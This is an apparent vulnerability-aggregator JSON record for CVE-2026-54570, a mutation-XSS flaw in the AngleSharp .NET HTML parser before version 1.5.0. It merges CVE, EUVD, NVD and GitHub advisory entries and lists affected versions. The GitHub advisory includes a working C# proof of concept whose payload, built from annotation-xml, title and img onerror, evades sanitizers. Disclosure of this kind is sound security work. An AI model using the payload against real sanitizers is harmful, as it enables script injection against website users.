{"id":"EUVD-2026-61128","revision":null,"records":[{"revision":"4ee38ca66a4b4dedbe22bd586f7132b2","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-54570","aliases":[],"title":"AngleSharp: HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point Bypass","description":"AngleSharp is a .NET library for parsing angle bracket based hyper-texts. Prior to 1.5.0, MathAnnotationXmlElement in AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs is not treated as an HTML integration point when its encoding attribute is text/html or application/xhtml+xml, causing Consume in AngleSharp/Html/Parser/HtmlDomBuilder.cs to route tokens through foreign-content parsing instead of HTML parsing. A sanitizer can therefore observe a different DOM from the browser that reparses the serialized output. An attacker can combine this namespace differential with markup-breaking characters in an attribute value so that an element hidden from the sanitizer becomes active script-capable HTML after browser reparse, resulting in mutation cross-site scripting. This issue is fixed in version 1.5.0.","state":0,"publishedAt":"2026-08-18T17:39:51.827+00:00","modifiedAt":"2026-08-18T19:27:44.943+00:00","affected":[{"ecosystem":"Vendor product","name":"AngleSharp","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"AngleSharp\",\n                    \"product\": \"AngleSharp\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 1.5.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:N","score":6.9,"severity":"MEDIUM"}],"references":["https://github.com/AngleSharp/AngleSharp/security/advisories/GHSA-pgww-w46g-26qg","https://github.com/AngleSharp/AngleSharp/commit/8033a5c690af9c2c443f58e34875343fa4cc1d07","https://github.com/AngleSharp/AngleSharp/releases/tag/1.5.0"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-54570","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-54570","identifiers":["CVE-2026-54570"]},"retained":false,"historicalAffected":[]},{"revision":"cc1e38f673514dd0a5efcb743585c43e","observedAt":"2026-11-11T14:00:45.92+00:00","statement":{"source":"euvd","id":"EUVD-2026-61128","aliases":["CVE-2026-54570","GHSA-pgww-w46g-26qg"],"title":"AngleSharp is a .NET library for parsing angle bracket based hyper-texts. Prior to 1.5.0, MathAnnotationXmlElement in AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs is not treated as an HTML integration point when its encoding a…","description":"AngleSharp is a .NET library for parsing angle bracket based hyper-texts. Prior to 1.5.0, MathAnnotationXmlElement in AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs is not treated as an HTML integration point when its encoding attribute is text/html or application/xhtml+xml, causing Consume in AngleSharp/Html/Parser/HtmlDomBuilder.cs to route tokens through foreign-content parsing instead of HTML parsing. A sanitizer can therefore observe a different DOM from the browser that reparses the serialized output. An attacker can combine this namespace differential with markup-breaking characters in an attribute value so that an element hidden from the sanitizer becomes active script-capable HTML after browser reparse, resulting in mutation cross-site scripting. This issue is fixed in version 1.5.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:N","score":6.9,"severity":null}],"references":["https://github.com/AngleSharp/AngleSharp/security/advisories/GHSA-pgww-w46g-26qg","https://github.com/AngleSharp/AngleSharp/commit/8033a5c690af9c2c443f58e34875343fa4cc1d07","https://github.com/AngleSharp/AngleSharp/releases/tag/1.5.0"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-61128","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Aug 18, 2026, 5:39:51 PM","dateUpdated":"Aug 18, 2026, 7:27:44 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-61128","identifiers":["EUVD-2026-61128","CVE-2026-54570","GHSA-pgww-w46g-26qg"]},"retained":false,"historicalAffected":[]},{"revision":"ea7055e3608c4f21b444ddef8d71b7cc","observedAt":"2026-10-25T13:17:28.253+00:00","statement":{"source":"nvd","id":"CVE-2026-54570","aliases":[],"title":"AngleSharp is a .NET library for parsing angle bracket based hyper-texts. Prior to 1.5.0, MathAnnotationXmlElement in AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs is not treated as an HTML integration point when its encoding a…","description":"AngleSharp is a .NET library for parsing angle bracket based hyper-texts. Prior to 1.5.0, MathAnnotationXmlElement in AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs is not treated as an HTML integration point when its encoding attribute is text/html or application/xhtml+xml, causing Consume in AngleSharp/Html/Parser/HtmlDomBuilder.cs to route tokens through foreign-content parsing instead of HTML parsing. A sanitizer can therefore observe a different DOM from the browser that reparses the serialized output. An attacker can combine this namespace differential with markup-breaking characters in an attribute value so that an element hidden from the sanitizer becomes active script-capable HTML after browser reparse, resulting in mutation cross-site scripting. This issue is fixed in version 1.5.0.","state":0,"publishedAt":"2026-08-18T18:18:23.31+00:00","modifiedAt":"2026-09-18T20:09:01.757+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:N","score":6.9,"severity":"MEDIUM"}],"references":["https://github.com/AngleSharp/AngleSharp/commit/8033a5c690af9c2c443f58e34875343fa4cc1d07","https://github.com/AngleSharp/AngleSharp/releases/tag/1.5.0","https://github.com/AngleSharp/AngleSharp/security/advisories/GHSA-pgww-w46g-26qg"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-54570","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-80"],"productCriteria":[],"sourceDates":{"published":"2026-08-18T18:18:23.310","lastModified":"2026-09-18T20:09:01.757"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-54570","identifiers":["CVE-2026-54570"]},"retained":false,"historicalAffected":[]},{"revision":"a3f15cc6de48402ba79898ec841f01b5","observedAt":"2026-10-23T16:01:25.029+00:00","statement":{"source":"osv","id":"GHSA-pgww-w46g-26qg","aliases":["CVE-2026-54570"],"title":"AngleSharp HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point Bypass","description":"### Summary\nThe HTML specification requires that a MathML `<annotation-xml>` element with `encoding=\"text/html\"` or `encoding=\"application/xhtml+xml\"` is treated as an HTML integration point. Content inside it must be parsed as HTML, not MathML.\n\nAngleSharp does not implement this correctly. As a result, the parser produces a DOM tree that differs from what a browser will build (different namespaces if `encoding=\"text/html\"` is not treated) when given the same serialized output. Two bugs combine to make this exploitable:\n\n- Missing HtmlTip flag: MathAnnotationXmlElement is never assigned NodeFlags.HtmlTip based on its encoding attribute, so the Consume() dispatch always routes tokens to Foreign() instead of Home() (HTML mode).\n- Unescaped < > in attribute values: HtmlMarkupFormatter.WriteAttributeValue() does not escape < or > characters, only & and \". This allows injected markup to break out of attribute values on re-parse. _See [Escape \"<\" and \">\" in attributes when serializing HTML #6235\n](https://github.com/whatwg/html/issues/6235)_\n\n\n### Details\nIn `MathAnnotationXmlElement` (`AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs`):\n```cs\n// Current — HtmlTip is never set\n: base(owner, TagNames.AnnotationXml, prefix, NodeFlags.Special | NodeFlags.Scoped)\n```\n\nBecause `HtmlTip` is absent, the token dispatch in `Consume()` always sends tokens to `Foreign()` when inside `annotation-xml`, regardless of the encoding attribute. The compensating check in `ForeignNormalTag()` only covers tags in `AllForeignExceptions` and is entirely bypassed during fragment parsing (`innerHTML` setter) due to an `if (!IsFragmentCase)` guard.\n\nIn `HtmlMarkupFormatter.WriteAttributeValue()` (`AngleSharp/Html/HtmlMarkupFormatter.cs`):\n```cs\n// Escapes & \" and \\u00A0, but NOT < or >\ncase Symbols.Ampersand:    stringBuilder.Append(\"&amp;\");  break;\ncase Symbols.NoBreakSpace: stringBuilder.Append(\"&nbsp;\"); break;\ncase Symbols.DoubleQuote:  stringBuilder.Append(\"&quot;\"); break;\ndefault:                   stringBuilder.Append(value[i]); break; // < and > pass through raw\n```\n\n### PoC\nThe following program demonstrates that AngleSharp’s parser misses the injected `<img>` element. A sanitizer walking this DOM would see nothing dangerous, yet the serialized output re-parses in a browser as a live `<img onerror>` trigger.\n```cs\nusing System;\nusing System.Linq;\nusing AngleSharp.Html.Parser;\n\t\t\t\npublic class Program\n{\n    static readonly string Payload1 =\n        \"<math>\" +\n        \"<annotation-xml encoding=\\\"text/html\\\">\" +\n        \"<title><a encoding=\\\"</title><img src=x onerror=alert()>\\\">\" +\n        \"</annotation-xml></math>\";\n\n    public static void Main()\n    {\n        var parser = new HtmlParser();\n\n        Check(parser, Payload1, \"IMG\",\n            \"AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)\",\n            \"AngleSharp found <img> – SAFE\");\n    }\n\n    static void Check(HtmlParser parser, string html, string tag,\n                      string failMsg, string passMsg)\n    {\n        var doc     = parser.ParseDocument(html);\n        var tags    = doc.All.Select(e => e.TagName).ToHashSet();\n        var found   = tags.Contains(tag);\n\n        Console.WriteLine(found ? passMsg : failMsg);\n        Console.WriteLine(\"Serialized output:\");\n        Console.WriteLine(doc.DocumentElement.OuterHtml);\n    }\n}\n```\n\nOutput:\n```\nAngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)\nSerialized output:\n<html><head></head><body><math><annotation-xml encoding=\"text/html\"><title><a encoding=\"</title><img src=x onerror=alert()>\"></a></title></annotation-xml></math></body></html>\n```\n\n_The `title` tag may be swapped out for `style` and other RCDATA elements._\n\nWhen a browser receives this string and parses `annotation-xml encoding=\"text/html\"` as an HTML integration point, the `</title>` closes the title element and the `<img>` fires its onerror handler.\n\n### Impact\nImplemented HTML sanitizers that depend and trust AngleSharp's ability to parse HTML correctly may be bypassable, as AngleSharp fails to acknowledge certain vectors under certain conditions.\n\nThis reduces AngleSharp's credibility as a conformant HTML parser.","state":0,"publishedAt":"2026-07-17T21:17:10+00:00","modifiedAt":"2026-07-17T21:41:39.998258+00:00","affected":[{"ecosystem":"NuGet","name":"AngleSharp","ranges":[{"type":"ECOSYSTEM","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.5.0"}]}],"versions":["0.10.0","0.10.1","0.11.0","0.12.0","0.12.1","0.13.0","0.13.0-alpha-733","0.13.0-alpha-734","0.13.0-alpha-735","0.13.0-alpha-737","0.13.0-alpha-739","0.13.0-alpha-742","0.13.0-alpha-743","0.13.0-alpha-744","0.13.0-alpha-745","0.13.0-alpha-748","0.13.0-alpha-754","0.13.0-alpha-756","0.13.0-alpha-758","0.13.0-alpha-760","0.13.0-alpha-763","0.13.0-alpha-764","0.13.0-alpha-766","0.13.0-alpha-768","0.13.0-alpha-771","0.13.0-alpha-775","0.13.0-alpha-782","0.14.0","0.14.0-alpha-783","0.14.0-alpha-784","0.14.0-alpha-787","0.14.0-alpha-788","0.14.0-alpha-789","0.14.0-alpha-790","0.14.0-alpha-793","0.14.0-alpha-794","0.14.0-alpha-796","0.14.0-alpha-798","0.14.0-alpha-801","0.14.0-alpha-802","0.14.0-alpha-803","0.14.0-alpha-805","0.14.0-alpha-809","0.14.0-alpha-811","0.14.0-alpha-813","0.14.0-alpha-817","0.14.0-alpha-818","0.15.0","0.15.0-alpha-14","0.16.0","0.16.0-alpha-72","0.16.0-alpha-75","0.16.0-alpha-76","0.16.0-alpha-77","0.16.0-alpha-78","0.16.0-alpha-79","0.16.0-alpha-80","0.16.0-alpha-84","0.16.0-alpha-85","0.16.0-alpha-86","0.16.1","0.16.1-alpha-104","0.16.1-alpha-106","0.16.1-alpha-108","0.16.1-alpha-110","0.16.1-alpha-112","0.16.1-alpha-114","0.16.1-alpha-120","0.16.1-alpha-125","0.16.1-alpha-127","0.16.1-alpha-133","0.16.1-alpha-144","0.16.1-alpha-145","0.16.1-alpha-148","0.16.1-alpha-152","0.16.1-alpha-153","0.16.1-alpha-155","0.16.1-alpha-167","0.16.1-alpha-168","0.16.1-alpha-91","0.16.1-alpha-96","0.16.1-alpha-99","0.17.0","0.17.0-alpha-169","0.17.0-alpha-170","0.17.0-alpha-171","0.17.0-alpha-172","0.17.0-alpha-173","0.17.0-alpha-174","0.17.0-alpha-177","0.17.1","0.17.1-alpha-178","0.17.1-alpha-179","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.2.6","0.2.7","0.2.8","0.2.9","0.3.0","0.3.1","0.3.2","0.3.3","0.3.4","0.3.5","0.3.6","0.3.7","0.4.0","0.5.0","0.5.1","0.6.0","0.6.1","0.7.0","0.8.0","0.8.1","0.8.2","0.8.3","0.8.4","0.8.4.1","0.8.5","0.8.6","0.8.7","0.8.7.1","0.8.8","0.8.9","0.9.0","0.9.1","0.9.10","0.9.11","0.9.2","0.9.3","0.9.4","0.9.5","0.9.6","0.9.7","0.9.8","0.9.8.1","0.9.9","0.9.9.1","0.9.9.2","1.0.0","1.0.0-alpha-1","1.0.0-alpha-10","1.0.0-alpha-12","1.0.0-alpha-17","1.0.0-alpha-20","1.0.0-alpha-21","1.0.0-alpha-229","1.0.0-alpha-231","1.0.0-alpha-25","1.0.0-alpha-27","1.0.0-alpha-31","1.0.0-alpha-33","1.0.0-alpha-36","1.0.0-alpha-38","1.0.0-alpha-4","1.0.0-alpha-41","1.0.0-alpha-47","1.0.0-alpha-49","1.0.0-alpha-59","1.0.0-alpha-63","1.0.0-alpha-64","1.0.0-alpha-65","1.0.0-alpha-68","1.0.0-alpha-7","1.0.0-alpha-70","1.0.0-alpha-71","1.0.0-alpha-819","1.0.0-alpha-822","1.0.0-alpha-825","1.0.0-alpha-827","1.0.0-alpha-842","1.0.0-alpha-844","1.0.0-ci-228","1.0.1","1.0.1-alpha-235","1.0.1-alpha-241","1.0.1-alpha-242","1.0.1-alpha-243","1.0.1-alpha-248","1.0.2","1.0.2-alpha-249","1.0.2-alpha-250","1.0.2-alpha-251","1.0.2-alpha-255","1.0.2-alpha-257","1.0.2-alpha-258","1.0.2-alpha-261","1.0.2-alpha-273","1.0.2-alpha-274","1.0.2-alpha-275","1.0.2-alpha-276","1.0.2-alpha-277","1.0.2-alpha-278","1.0.2-alpha-281","1.0.2-alpha-282","1.0.2-alpha-283","1.0.2-alpha-284","1.0.3","1.0.3-alpha-287","1.0.4","1.0.4-alpha-289","1.0.4-alpha-290","1.0.4-alpha-298","1.0.4-alpha-300","1.0.4-alpha-301","1.0.4-alpha-307","1.0.4-alpha-311","1.0.4-alpha-314","1.0.4-alpha-316","1.0.5","1.0.5-alpha-317","1.0.6","1.0.6-alpha-321","1.0.6-alpha-325","1.0.6-alpha-328","1.0.6-alpha-330","1.0.6-alpha-331","1.0.6-alpha-339","1.0.6-alpha-341","1.0.7","1.0.7-alpha-342","1.1.0","1.1.0-alpha-374","1.1.0-alpha-375","1.1.0-alpha-376","1.1.0-alpha-377","1.1.0-alpha-378","1.1.0-alpha-379","1.1.1","1.1.2","1.2.0","1.3.0","1.3.1","1.4.0"],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/AngleSharp/AngleSharp/security/advisories/GHSA-pgww-w46g-26qg","https://github.com/AngleSharp/AngleSharp","https://github.com/AngleSharp/AngleSharp/releases/tag/1.5.0"],"sourceUrl":"https://github.com/advisories/GHSA-pgww-w46g-26qg","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-pgww-w46g-26qg","identifiers":["GHSA-pgww-w46g-26qg","CVE-2026-54570"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-13T03:19:40.5269590+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-13T03:19:40.526959+00:00","lastSuccessAt":"2026-11-13T03:19:40.6882289+00:00","error":null,"lastVerifiedAt":"2026-11-13T03:19:40.688234+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-d8fa82e95fdb59244e2f635e667ba17f0796ca0a4f1f4bb8cc31febcd660b76c-98121ba726768336a864ab5bced2f3860f36459d7555a27229b152c25d7e1f39","complete":true,"records":424942,"lastAttemptAt":"2026-11-13T03:16:36.8593016+00:00","lastSuccessAt":"2026-11-13T03:16:36.8357038+00:00","error":null,"lastVerifiedAt":"2026-11-13T03:16:36.8593016+00:00","snapshotPublishedAt":"2026-11-13T02:30:23+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-7f404f09616a40578b159775b5b66635","complete":false,"records":13793,"lastAttemptAt":"2026-11-13T03:29:27.9813623+00:00","lastSuccessAt":"2026-11-13T03:29:27.977+00:00","error":"370 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-13T03:29:27.977+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13369,"expectedIdentifiers":13846,"failedIdentifiers":370},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-13T03:19:40.5269590+00:00","complete":true,"records":1123,"lastAttemptAt":"2026-11-13T03:19:40.526959+00:00","lastSuccessAt":"2026-11-13T03:19:40.6892892+00:00","error":null,"lastVerifiedAt":"2026-11-13T03:19:40.6892894+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-99b329e58ea7441eaabf9a9af1bb4458","complete":true,"records":13781,"lastAttemptAt":"2026-11-13T03:19:48.7349646+00:00","lastSuccessAt":"2026-11-13T03:19:48.73+00:00","error":null,"lastVerifiedAt":"2026-11-13T03:19:48.73+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13846,"expectedIdentifiers":13846,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-93e76d404e1aeb6a7e8902f5ffa06211fc86dea3b1958e297abb2668aa5e6e8c","complete":true,"records":9952,"lastAttemptAt":"2026-11-13T03:19:40.4671686+00:00","lastSuccessAt":"2026-11-12T23:19:15.5239119+00:00","error":null,"lastVerifiedAt":"2026-11-13T03:19:40.4671686+00:00","snapshotPublishedAt":"2026-11-12T23:03:02+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-4d60731753a2f72e455d1086e7203d0ef10843936dcc1cf2b45135e2caa204b0","complete":true,"records":2012,"lastAttemptAt":"2026-11-13T03:16:36.9337406+00:00","lastSuccessAt":"2026-11-12T18:16:50.7862525+00:00","error":null,"lastVerifiedAt":"2026-11-13T03:16:36.9337406+00:00","snapshotPublishedAt":"2026-11-12T17:48:11+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-20d1a8ab073a1c13ab2143dbcadb34ebb8edf1e18e16482b448513662c3d1e12","complete":true,"records":3127,"lastAttemptAt":"2026-11-13T03:19:40.4889465+00:00","lastSuccessAt":"2026-11-12T22:18:31.0338213+00:00","error":null,"lastVerifiedAt":"2026-11-13T03:19:40.4889465+00:00","snapshotPublishedAt":"2026-11-12T22:18:06+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-11714c374501e9f6ac09cc4e36bc0b50c7521131f606050aeabd7887ba2c0080","complete":true,"records":231743,"lastAttemptAt":"2026-11-13T03:19:40.3437235+00:00","lastSuccessAt":"2026-11-13T03:19:38.55958+00:00","error":null,"lastVerifiedAt":"2026-11-13T03:19:40.3437235+00:00","snapshotPublishedAt":"2026-11-13T02:48:17+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}